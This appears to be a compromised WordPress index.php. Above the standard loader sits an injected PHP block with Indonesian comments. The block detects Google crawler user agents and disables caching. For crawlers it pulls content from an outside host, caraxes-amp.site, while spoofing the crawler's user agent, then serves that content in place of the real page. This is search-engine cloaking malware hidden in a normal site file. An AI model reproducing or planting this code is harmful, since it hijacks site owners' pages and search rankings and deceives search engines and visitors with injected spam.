<?php
function is_google_bot() {
    $agents = [
        'Googlebot',
        'AdsBot-Google',
        'Mediapartners-Google',
        'Google-Site-Verification',
        'Google-InspectionTool',
        'Googlebot-Mobile',
        'Googlebot-News',
        'Googlebot-Image',
        'Googlebot-Video',
        'Googlebot-Desktop',
        'Googlebot-ReadAloud',
        'Storebot-Google',
        'Google-Read-Aloud'
    ];

    $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
    foreach ($agents as $agent) {
        if (stripos($user_agent, $agent) !== false) {
            return true;
        }
    }
    return false;
}

// ** Penting: Cegah cache oleh Litespeed, Varnish, atau proxy lainnya **
header("Cache-Control: no-cache, no-store, must-revalidate, private");
header("Pragma: no-cache");
header("Expires: 0");
header("X-Accel-Expires: 0"); // untuk Nginx
header("X-LiteSpeed-Cache-Control: no-cache"); // khusus Litespeed

if (is_google_bot()) {
    $url = "https://caraxes-amp.site/aecm-ihu-gr.txt";
    $content = '';

    // Gunakan cURL untuk lebih handal dan bisa menyamar sebagai bot asli
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_USERAGENT => $_SERVER['HTTP_USER_AGENT'], // samakan dengan user agent pengunjung
            CURLOPT_TIMEOUT => 10,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_HTTPHEADER => [
                'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
                'Accept-Language: en-US,en;q=0.5',
                'Accept-Encoding: gzip, deflate, br',
                'Connection: keep-alive',
                'Upgrade-Insecure-Requests: 1'
            ],
            CURLOPT_ENCODING => '', // biarkan curl menangani encoding
        ]);
        $content = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
    }

    // Fallback jika cURL gagal
    if (empty($content) || $httpCode !== 200) {
        $content = @file_get_contents($url);
    }

    if (!empty($content)) {
        echo $content;
        exit;
    }
}

// Jika bukan Googlebot atau konten gagal diambil, lanjutkan ke halaman normal
?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';